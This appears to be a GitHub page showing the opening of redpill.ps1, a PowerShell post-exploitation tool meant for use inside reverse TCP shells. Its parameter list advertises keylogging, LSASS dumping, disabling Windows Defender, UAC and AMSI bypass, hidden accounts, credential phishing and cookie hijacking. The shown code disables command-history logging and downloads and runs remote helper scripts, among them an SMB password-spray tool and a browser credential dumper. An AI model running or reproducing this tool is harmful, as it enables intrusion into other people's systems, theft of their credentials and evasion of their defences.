-
Notifications
You must be signed in to change notification settings - Fork 52
/
redpill.ps1
6371 lines (5081 loc) · 264 KB
/
redpill.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<#
.SYNOPSIS
CmdLet to assiste reverse tcp shells in post-exploitation
Author: r00t-3xp10it
Tested Under: Windows 10 (19042) x64 bits
Required Dependencies: none
Optional Dependencies: BitsTransfer
PS cmdlet Dev version: v1.2.6
.DESCRIPTION
This cmdlet belongs to the structure of venom v1.0.17.8 as a post-exploitation module.
venom amsi evasion agents automatically downloads this CmdLet to %TMP% directory to be
easily accessible in our reverse tcp shell (shell prompt). So, we just need to run this
CmdLet with the desired parameters to perform various remote actions such as:
System Enumeration, Start Local WebServer to read/browse/download files, Capture desktop
screenshots, Capture Mouse/Keyboard Clicks/Keystrokes, Upload Files, Scans for EoP entrys,
Persiste Agents on StartUp using 'beacon home' from 'xx' to 'xx' seconds technic, Etc ..
.NOTES
powershell -File redpill.ps1 syntax its required to get outputs back in our reverse
tcp shell connection, or else redpill auxiliary will not display outputs on rev shell.
If you wish to test this CmdLet Locally then .\redpill.ps1 syntax will display outputs.
.EXAMPLE
PS C:\> Get-Help .\redpill.ps1 -full
Access This CmdLet Comment_Based_Help
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -Help parameters
List all CmdLet parameters available
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -Help [ Parameter Name ]
Detailed information about Selected Parameter
.INPUTS
None. You cannot pipe objects into redpill.ps1
.OUTPUTS
OS: Microsoft Windows 10 Home
------------------------------
DomainName : SKYNET\pedro
ShellPrivs : UserLand
ConsolePid : 7466
IsVirtualMachine : False
Architecture : 64 bits
OSVersion : 10.0.18363
IPAddress : 192.168.1.72
System32 : C:\WINDOWS\system32
DefaultWebBrowser : Firefox (predefined)
CmdLetWorkingDir : C:\Users\pedro\coding\pswork
User-Agent : Mozilla/4.0 (compatible; MSIE 8.0; Win32)
.LINK
https://github.com/r00t-3xp10it/venom
https://github.com/r00t-3xp10it/venom/tree/master/aux/redpill.ps1
https://github.com/r00t-3xp10it/venom/tree/master/aux/Sherlock.ps1
https://github.com/r00t-3xp10it/venom/tree/master/aux/webserver.ps1
https://github.com/r00t-3xp10it/venom/tree/master/aux/Start-WebServer.ps1
https://github.com/r00t-3xp10it/venom/blob/master/bin/meterpeter/mimiRatz/CredsPhish.ps1
https://github.com/r00t-3xp10it/venom/wiki/CmdLine-&-Scripts-for-reverse-TCP-shell-addicts
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$psgetsys="false", [string]$Filter="false", [string]$Parent="lsass", [string]$CmdLine="false",
[string]$clipboard="false", [int]$CaptureTime='30', [int]$GetStrings='2', [string]$Forensic="false",
[string]$StartDir="$Env:USERPROFILE", [string]$StartWebServer="false", [string]$GetConnections="false",
[string]$WifiPasswords="false", [string]$GetInstalled="false", [string]$GetPasswords="false",
[string]$SetPath="$Env:WINDIR\System32\calc.exe", [string]$Database="$Env:TMP\clipboard.log",
[string]$Mouselogger="false", [string]$Destination="false", [string]$GetBrowsers="false",
[string]$ProcessName="false", [string]$CleanTracks="false", [string]$GetDnsCache="false",
[string]$Parameters="false", [string]$PhishCreds="false", [string]$GetProcess="false",
[string]$ApacheAddr="false", [string]$Storage="$Env:TMP", [string]$SpeakPrank="false",
[string]$TaskName="false", [string]$Keylogger="false", [string]$PingSweep="false",
[string]$FileMace="false", [string]$GetTasks="false", [string]$Persiste="false",
[string]$BruteZip="false", [string]$NetTrace="false", [string]$SysInfo="false",
[string]$GetLogs="false", [string]$Upload="false", [string]$Camera="false",
[string]$Child="$Env:WINDIR\System32\cmd.exe", [string]$Clean="false",
[string]$EOP="false", [string]$MsgBox="false", [string]$Range="1,255",
[string]$Date="false", [string]$ADS="false", [string]$Help="false",
[string]$Exec="false", [string]$InTextFile="false", [int]$Delay='1',
[string]$StreamData="false", [int]$Rate='1', [int]$TimeOut='5',
[int]$BeaconTime='10', [int]$Interval='1', [int]$NewEst='3',
[int]$Volume='88', [int]$Screenshot='0', [int]$Timmer='18',
[string]$FolderRigths="false", [string]$GroupName="false",
[string]$String="Defender|antimalware|antivirus|spyware",
[string]$DomainName="$Env:COMPUTERNAME\$Env:USERNAME",
[string]$Extension="false", [string]$FilePath="false",
[string]$UserName="false", [string]$Password="false",
[string]$Action="false", [string]$CsOnTheFly="false",
[int]$PingTimeOut='400', [string]$Force="false",
[string]$MetaData="false", [int]$ButtonType='0',
[int]$Limmit='5', [string]$AppLocker="false",
[string]$Dicionary="$Env:TMP\passwords.txt",
[string]$Uri="$env:TMP\SpawnPowershell.cs",
[int]$EndRange='255', [int]$StartRange='1',
[string]$OutFile="$Env:TMP\Installer.exe",
[string]$Appl="%windir%\regedit.exe",
[string]$GetCounterMeasures="false",
[string]$Domain="www.facebook.com",
[string]$ServiceName="WinDefend",
[string]$ScriptBlockLogging="ON",
[string]$SmbLoginSpray="false",
[string]$PasswordSpray="false",
[string]$CookieHijack="False",
[string]$stringsearch="false",
[string]$UserAccount="false",
[string]$PayloadURL="false",
[string]$LiveStream="false",
[string]$HiddenUser="false",
[string]$DumpLsass="false",
[string]$Execute="cmd.exe",
[string]$DisableAV="false",
[string]$EnableRDP="false",
[string]$HideMyAss="false",
[string]$IpAddress="false",
[string]$GetAdmin="false",
[string]$SetText="Eureka",
[string]$ToIPaddr="false",
[string]$DnsSpoof="false",
[string]$TimeOpen="false",
[string]$GetSkype="False",
[string]$LogFile="false",
[string]$IconSet="False",
[string]$NoAmsi="false",
[string]$PSargs="false",
[string]$Query="false",
[string]$UacMe="false",
[string]$Verb="false",
[string]$Port="false",
[string]$Url="false",
[int]$DelayTime='30',
[int]$SPort='8080',
[string]$Id="false",
[string]$AddPort="false",
[string]$IpRange="1,255",
[string]$ScanType="topports",
[string]$Output="table",
[string]$Try='1'
)
## Var declarations
$CmdletVersion = "v1.2.6"
$Remote_hostName = hostname
$ErrorActionPreference = "SilentlyContinue"
$OsVersion = [System.Environment]::OSVersion.Version
$Working_Directory = $pwd|Select -ExpandProperty Path
$host.UI.RawUI.WindowTitle = "@redpill $CmdletVersion {SSA@RedTeam}"
$Address = (## Get Local IpAddress
Get-NetIPConfiguration|Where-Object {
$_.IPv4DefaultGateway -ne $null -and
$_.NetAdapter.status -ne "Disconnected"
}
).IPv4Address.IPAddress
$Banner = @"
* Reverse TCP Shell Auxiliary Powershell Module *
_________ __________ _________ _________ o ____ ____
| _o___) /_____/| O \ _o___)/ \/ /_____/ /_____
|___|\____\___\%%%%%'|_________/___|%%%%%'\_/\___\_____\___\_____\
Author: r00t-3xp10it - SSAredTeam @2021 - Version: $CmdletVersion
Help: powershell -File redpill.ps1 -Help Parameters
"@;
Clear-Host
Write-Host "$Banner" -ForegroundColor Blue
## Disable Powershell Command Logging for current session.
Set-PSReadlineOption –HistorySaveStyle SaveNothing|Out-Null
If($Help -ieq "Parameters"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - List ALL CmdLet Parameters Available
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -Help Parameters
#>
Write-Host " Syntax : powershell -File redpill.ps1 [ -Parameter ] [ Argument ]"
Write-Host " Example: powershell -File redpill.ps1 -SysInfo Verbose -Screenshot 2"
Write-Host "`n P4rameters @rguments Descripti0n" -ForegroundColor Green
Write-Host " --------------- ------------ ---------------------------------------"
$ListParameters = @"
-SysInfo Enum|Verbose Quick System Info OR Verbose Enumeration
-GetConnections Enum|Verbose Enumerate Remote Host Active TCP Connections
-GetDnsCache Enum|Clear Enumerate\Clear remote host DNS cache entrys
-GetInstalled Enum Enumerate Remote Host Applications Installed
-GetProcess Enum|Kill|Tokens Enumerate OR Kill Remote Host Running Process(s)
-GetTasks Enum|Create|Delete Enumerate\Create\Delete Remote Host Running Tasks
-GetLogs Enum|Verbose|Yara|Clear Enumerate eventvwr logs OR Clear All event logs
-GetBrowsers Enum|Verbose|Creds Enumerate Installed Browsers and Versions OR Verbose
-GetSkype Contacts|DomainUsers Enumerating and attacking federated Skype
-Screenshot 1 Capture 1 Desktop Screenshot and Store it on %TMP%
-Camera Enum|Snap Enum computer webcams OR capture default webcam snapshot
-StartWebServer Python|Powershell Downloads webserver to %TMP% and executes the WebServer.
-Keylogger Start|Stop Start OR Stop recording remote host keystrokes
-MouseLogger Start Capture Screenshots of Mouse Clicks for 10 seconds
-LiveStream Bind|Reverse|Stop Nishang script to streaming a target desktop using MJPEG
-PhishCreds Start|Brute Promp current user for a valid credential and leak captures
-GetPasswords Enum|Dump Enumerate passwords of diferent locations {Store|Regedit|Disk}
-DumpLsass true Dump raw data from lsass/sam/system/security process/reg hives
-PasswordSpray Spray Password spraying attack against accounts in Active Directory!
-WifiPasswords Dump|ZipDump Enum Available SSIDs OR ZipDump All Wifi passwords
-EOP Enum|Verbose Find Missing Software Patchs for Privilege Escalation
-ADS Enum|Create|Exec|Clear Hidde scripts {txt|bat|ps1|exe} on `$DATA records (ADS)
-BruteZip `$Env:TMP\arch.zip Brute force Zip archives with the help of 7z.exe
-Upload script.ps1 Upload script.ps1 from attacker apache2 webroot
-Persiste `$Env:TMP\script.ps1 Persiste script.ps1 on every startup {BeaconHome}
-CleanTracks Clear|Paranoid Clean disk artifacts left behind {clean system tracks}
-AppLocker Enum|WhoAmi|TestBat Enumerate AppLocker Directorys with weak permissions
-FileMace `$Env:TMP\test.txt Change File Mace {CreationTime,LastAccessTime,LastWriteTime}
-MetaData `$Env:TMP\test.exe Display files \ applications description (metadata)
-psgetsys Enum|Auto|Impersonate spawn a process under a different parent process!
-MsgBox "Hello World." Spawns "Hello World." msgBox on local host {wscriptComObject}
-SpeakPrank "Hello World." Make remote host speak user input sentence {prank}
-PingSweep Enum|PortScan Enumerate active IP Addr (and ports) of Local Lan
-NetTrace Enum Agressive sytem enumeration with netsh {native}
-DnsSpoof Enum|Redirect|Clear Redirect Domain Names to our Phishing IP address
-DisableAV Query|Start|Stop Disable Windows Defender Service (WinDefend)
-HiddenUser Query|Create|Delete Query \ Create \ Delete Hidden User Accounts
-CsOnTheFly https://../script.cs Download\Compile (to exe) and exec CS scripts
-CookieHijack Dump|History Edge|Chrome browser Cookie Hijacking tool
-UacMe Bypass|Elevate|Clean UAC bypass|EOP by dll reflection! (cmstp.exe)
-GetAdmin Check|Exec Elevate sessions from UserLand to Administrator!
-NoAmsi List|TestAll|Bypass Test AMS1 bypasses or simple execute one bypass
-Clipboard Enum|Capture|Prank Capture clipboard text\file\image\audio contents!
-GetCounterMeasures Enum|verbose List common security processes\pid's running!
-SmbLoginSpray Spray Minimalistic SMB password spray attack tool
"@;
echo $ListParameters > $Env:TMP\mytable.mt
Get-Content -Path "$Env:TMP\mytable.mt"
Remove-Item -Path "$Env:TMP\mytable.mt" -Force
Write-Host " Help: powershell -File redpill.ps1 -Help [ Parameter Name ] " -ForeGroundColor black -BackGroundColor White
Write-Host ""
}
If($SmbLoginSpray -ieq "Spray")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Minimalistic SMB password spray attack tool
.DESCRIPTION
The main objective of the smblogin-spray.PS1 tool is to perform SMB login attacks. (spray)
We are simply a standard non-privileged domain user and we would like to test whether we can
compromise other Windows systems in the network by performing SMB login attacks against them.
.NOTES
This tool uses the New-PSDrive PowerShell cmdlet to authenticate against the '\\TARGET\Admin$' network
share just like the smb_login scanner from Metasploit does. By observing results from the cmdlet, the
tool determines whether the credentials were correct and the privileges sufficient. If we are able to
mount the '\\TARGET\Admin$' share, it means that we have administrative privileges on the share.
CmdLet scans the LAST range (default) of target ip address in search of hosts alive inside Local LAN.
If you wish to use your own ip address database, then write all ip addresses to be scanned inside of
'hosts.log' file and place it on the same directory as 'smblogin-spray.ps1' that cmdlet will use it.
.Parameter DomainName
The Domain Name to authenticate (default: DomainName\UserName)
.Parameter Password
The SMB Password to authenticate (default: admin)
.Parameter LogFile
Store results in logfile? (default: false)
.Parameter StartRange
Start of range to scan (default: 1)
.Parameter EndRange
End of range to scan (default: 255)
.Parameter Filter
Accepts values: active, all (default: all)
.Parameter Verb
Display verbose (debug) outputs? (default: false)
.EXAMPLE
PS C:\> .\redpill.ps1 -SmbLoginSpray 'spray' -DomainName "CORP\bkpadmin" -Password "P@ssw0rd"
Brute force ip address ranges from 1 to 255 (eg: 192.168.1.1 TO 192.168.1.255)
.EXAMPLE
PS C:\> .\redpill.ps1 -SmbLoginSpray 'spray' -DomainName "anonymous" -Password "admin" -StartRange "200"
Brute force ip address ranges from 200 to 255 (eg: 192.168.1.200 TO 192.168.1.255)
.EXAMPLE
PS C:\> .\redpill.ps1 -SmbLoginSpray 'spray' -StartRange "69" -EndRange "80"
Brute force ip address ranges from 69 to 80 (eg: 192.168.1.69 TO 192.168.1.80)
.EXAMPLE
PS C:\> .\redpill.ps1 -SmbLoginSpray 'spray' -StartRange "72" -EndRange "72" -LogFile "True"
Brute force 192.168.1.72 single ip address and store results in logfile
.EXAMPLE
PS C:\> .\redpill.ps1 -SmbLoginSpray 'spray' -Filter "active" -LogFile "True"
Brute force ip address ranges from 200 to 255 ( active hosts )
.INPUTS
None. You cannot pipe objects into smblogin-spray.ps1
.OUTPUTS
* Brute force Local Hosts SMB service creds.
[fail] 192.168.1.73: 'CORP\bkpadmin,P@ssw0rd'
[fail] 192.168.1.74: 'CORP\bkpadmin,P@ssw0rd'
[$$$$] 192.168.1.75: 'CORP\bkpadmin,P@ssw0rd' [success]
[fail] 192.168.1.76: 'CORP\bkpadmin,P@ssw0rd'
[$$$$] 192.168.1.77: 'CORP\bkpadmin,P@ssw0rd' [success,admin]
* Total of credentials found: '2'
#>
## Download smblogin-spray.PS1 from my GitHub
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/smblogin-spray.ps1" -OutFile "$Env:TMP\smblogin-spray.ps1"|Unblock-File
If($Password -ieq "false")
{
$Password = "admin"
}
If($Filter -ieq "false")
{
$Filter = "all"
}
## Run auxiliary module
powershell -File "$Env:TMP\smblogin-spray.ps1" -DomainName "$DomainName" -Password "$Password" -StartRange "$StartRange" -EndRange "$EndRange" -Filter "$Filter" -PingTimeOut "$PingTimeOut" -Force "true" -Verb "$Verb" -LogFile "$LogFile"
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\hosts.log"){Remove-Item -Path "$Env:TMP\hosts.log" -Force}
If(Test-Path -Path "$Env:TMP\smblogin-spray.ps1"){Remove-Item -Path "$Env:TMP\smblogin-spray.ps1" -Force}
}
If($Sysinfo -ieq "Enum" -or $Sysinfo -ieq "Verbose"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Enumerates remote host basic system info
.DESCRIPTION
System info: IpAddress, OsVersion, OsFlavor, OsArchitecture,
WorkingDirectory, CurrentShellPrivileges, ListAllDrivesAvailable
PSCommandLogging, AntiVirusDefinitions, AntiSpywearDefinitions,
UACsettings, WorkingDirectoryDACL, BehaviorMonitorEnabled, Etc..
.NOTES
Optional dependencies: curl (geolocation) icacls (file permissions)
-HideMyAss "True" - Its used to hide the public ip address display!
If sellected -sysinfo "verbose" then established & listening connections
will be listed insted of list only the established connections (TCP|IPV4)
.Parameter Sysinfo
Accepts arguments: Enum, Verbose (default: Enum)
.Parameter HideMyAss
Accepts argument: True, False (default: False)
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -SysInfo Enum
Remote Host Quick Enumeration Module
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -SysInfo Enum -HideMyAss True
Remote Host Quick Enumeration Module (hide public ip addr displays)
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -SysInfo Verbose
Remote Host Detailed Enumeration Module
#>
## Download Sysinfo.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\Sysinfo.ps1")){## Download Sysinfo.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/sysinfo.ps1 -Destination $Env:TMP\Sysinfo.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\Sysinfo.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 24){## Corrupted download detected => DefaultFileSize: 24,63671875/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\Sysinfo.ps1"){Remove-Item -Path "$Env:TMP\Sysinfo.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
If($Sysinfo -ieq "Enum"){
powershell -File "$Env:TMP\sysinfo.ps1" -SysInfo Enum -HideMyAss "$HideMyAss"
}ElseIf($Sysinfo -ieq "Verbose"){
powershell -File "$Env:TMP\sysinfo.ps1" -SysInfo Verbose -HideMyAss "$HideMyAss"
}
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\sysinfo.ps1"){Remove-Item -Path "$Env:TMP\sysinfo.ps1" -Force}
If(Test-Path -Path "$Env:TMP\OutlookEmails.log"){Remove-Item -Path "$Env:TMP\OutlookEmails.log" -Force}
}
If($GetConnections -ieq "Enum" -or $GetConnections -ieq "Verbose")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Gets a list of ESTABLISHED connections (TCP)
.DESCRIPTION
Enumerates ESTABLISHED TCP connections and retrieves the
ProcessName associated from the connection PID identifier
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetConnections Enum
Enumerates All ESTABLISHED TCP connections (IPV4 only)
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetConnections Verbose
Retrieves process info from the connection PID (Id) identifier
.OUTPUTS
Proto Local Address Foreign Address State Id
----- ------------- --------------- ----- --
TCP 127.0.0.1:58490 127.0.0.1:58491 ESTABLISHED 10516
TCP 192.168.1.72:60547 40.67.254.36:443 ESTABLISHED 3344
TCP 192.168.1.72:63492 216.239.36.21:80 ESTABLISHED 5512
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
671 47 39564 28452 1,16 10516 4 firefox
426 20 5020 21348 1,47 3344 0 svchost
1135 77 252972 271880 30,73 5512 4 powershell
#>
## Download GetConnections.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\GetConnections.ps1")){## Download GetConnections.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetConnections.ps1 -Destination $Env:TMP\GetConnections.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\GetConnections.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 13){## Corrupted download detected => DefaultFileSize: 13,09765625/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\GetConnections.ps1"){Remove-Item -Path "$Env:TMP\GetConnections.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
If($GetConnections -ieq "Enum"){
powershell -File "$Env:TMP\GetConnections.ps1" -Action Enum -Query $Query -LogFile $LogFile
}ElseIf($GetConnections -ieq "Verbose"){
powershell -File "$Env:TMP\GetConnections.ps1" -Action Verbose -Query $Query -LogFile $LogFile
}
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\GetConnections.ps1"){Remove-Item -Path "$Env:TMP\GetConnections.ps1" -Force}
}
If($GetDnsCache -ieq "Enum" -or $GetDnsCache -ieq "Clear"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Enumerate remote host DNS cache entrys
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetDnsCache Enum
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetDnsCache Clear
Clear Dns Cache entrys {delete entrys}
.OUTPUTS
Entry Data
----- ----
example.org 93.184.216.34
play.google.com 216.239.38.10
www.facebook.com 129.134.30.11
safebrowsing.googleapis.com 172.217.21.10
#>
## Download GetDnsCache.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\GetDnsCache.ps1")){## Download GetDnsCache.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetDnsCache.ps1 -Destination $Env:TMP\GetDnsCache.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\GetDnsCache.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 2){## Corrupted download detected => DefaultFileSize: 2,6640625/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\GetDnsCache.ps1"){Remove-Item -Path "$Env:TMP\GetDnsCache.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
If($GetDnsCache -ieq "Enum"){
powershell -File "$Env:TMP\GetDnsCache.ps1" -GetDnsCache Enum
}ElseIf($GetDnsCache -ieq "Clear"){
powershell -File "$Env:TMP\GetDnsCache.ps1" -GetDnsCache Clear
}
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\GetDnsCache.ps1"){Remove-Item -Path "$Env:TMP\GetDnsCache.ps1" -Force}
}
If($GetBrowsers -ieq "Enum" -or $GetBrowsers -ieq "Verbose" -or $GetBrowsers -ieq "Creds"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Leak Installed Browsers Information
.NOTES
This module downloads GetBrowsers.ps1 from venom
GitHub repository into remote host %TMP% directory,
And identify install browsers and run enum modules.
.Parameter GetBrowsers
Accepts Enum, Verbose and Creds @arguments
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetBrowsers Enum
Identify installed browsers and versions
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetBrowsers Verbose
Run enumeration modules againts ALL installed browsers
.EXAMPLE
PS C:\> powershell -File redpill.ps1 -GetBrowsers Creds
Dump Stored credentials from all installed browsers
.OUTPUTS
Browser Install Status Version PreDefined
------- ------- ------ ------- ----------
IE Found Stoped 9.11.18362.0 False
CHROME False Stoped {null} False
FIREFOX Found Active 81.0.2 True
#>
## Download EnumBrowsers.ps1 from my GitHub
If(-not(Test-Path -Path "$Env:TMP\EnumBrowsers.ps1")){## Download EnumBrowsers.ps1 from my GitHub repository
Start-BitsTransfer -priority foreground -Source https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/EnumBrowsers.ps1 -Destination $Env:TMP\EnumBrowsers.ps1 -ErrorAction SilentlyContinue|Out-Null
## Check downloaded file integrity => FileSizeKBytes
$SizeDump = ((Get-Item -Path "$Env:TMP\EnumBrowsers.ps1" -EA SilentlyContinue).length/1KB)
If($SizeDump -lt 4){## Corrupted download detected => DefaultFileSize: 4,6025390625/KB
Write-Host "[error] Abort, Corrupted download detected" -ForegroundColor Red -BackgroundColor Black
If(Test-Path -Path "$Env:TMP\EnumBrowsers.ps1"){Remove-Item -Path "$Env:TMP\EnumBrowsers.ps1" -Force}
Write-Host "";Start-Sleep -Seconds 1;exit ## EXit @redpill
}
}
## Run auxiliary module
If($GetBrowsers -ieq "Enum"){
powershell -File "$Env:TMP\EnumBrowsers.ps1" -GetBrowsers Enum
}ElseIf($GetBrowsers -ieq "Verbose"){
powershell -File "$Env:TMP\EnumBrowsers.ps1" -GetBrowsers Verbose
}ElseIf($GetBrowsers -ieq "Creds"){
powershell -File "$Env:TMP\EnumBrowsers.ps1" -GetBrowsers Creds
}
## Clean Old files left behind
If(Test-Path -Path "$Env:TMP\EnumBrowsers.ps1"){Remove-Item -Path "$Env:TMP\EnumBrowsers.ps1" -Force}
}
If($GetInstalled -ieq "Enum"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - List remote host applications installed
.DESCRIPTION
Enumerates appl installed and respective versions
.EXAMPLE
PC C:\> powershell -File redpill.ps1 -GetInstalled Enum
.OUTPUTS
DisplayName DisplayVersion
----------- --------------
Adobe Flash Player 32 NPAPI 32.0.0.314
ASUS GIFTBOX 7.5.24
StarCraft II 1.31.0.12601
#>
$RawHKLMkey = "HKLM:\Software\" + "Wow6432Node\Microsoft\Windows\" + "CurrentVersion\Uninstall\*" -Join ''
Write-Host "[i] Applications installed on $Env:COMPUTERNAME\$Env:USERNAME!" -ForegroundColor Green;Start-Sleep -Seconds 1
Get-ItemProperty "$RawHKLMkey" | Select-Object DisplayName,DisplayVersion,Publisher,InstallDate | Format-Table -AutoSize
Start-Sleep -Seconds 1
}
If($GetProcess -ieq "Enum" -or $GetProcess -ieq "Kill" -or $GetProcess -ieq "Tokens"){
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Enumerate/Kill running process/Tokens
.DESCRIPTION
This CmdLet enumerates 'All' running process if used
only the 'Enum' @arg IF used -ProcessName parameter
then cmdlet 'kill' or 'enum' the sellected processName.
.NOTES
-GetProcess Tokens @argument requires Admin privileges
.Parameter GetProcess
Accepts arguments: Enum, Kill and Tokens
.Parameter ProcessName
Accepts the process name to be query or kill
.EXAMPLE
PC C:\> powershell -File redpill.ps1 -GetProcess Enum
Enumerate ALL Remote Host Running Process(s)
.EXAMPLE
PC C:\> powershell -File redpill.ps1 -GetProcess Enum -ProcessName firefox.exe
Enumerate firefox.exe Process {Id,Name,Path,Company,StartTime,Responding}
.EXAMPLE
PC C:\> powershell -File redpill.ps1 -GetProcess Kill -ProcessName firefox.exe
Kill Remote Host firefox.exe Running Process
.EXAMPLE
PC C:\> powershell -File redpill.ps1 -GetProcess Tokens
Enum ALL user process tokens and queries them for details
.OUTPUTS
Id Name ProductVersion StartTime Description
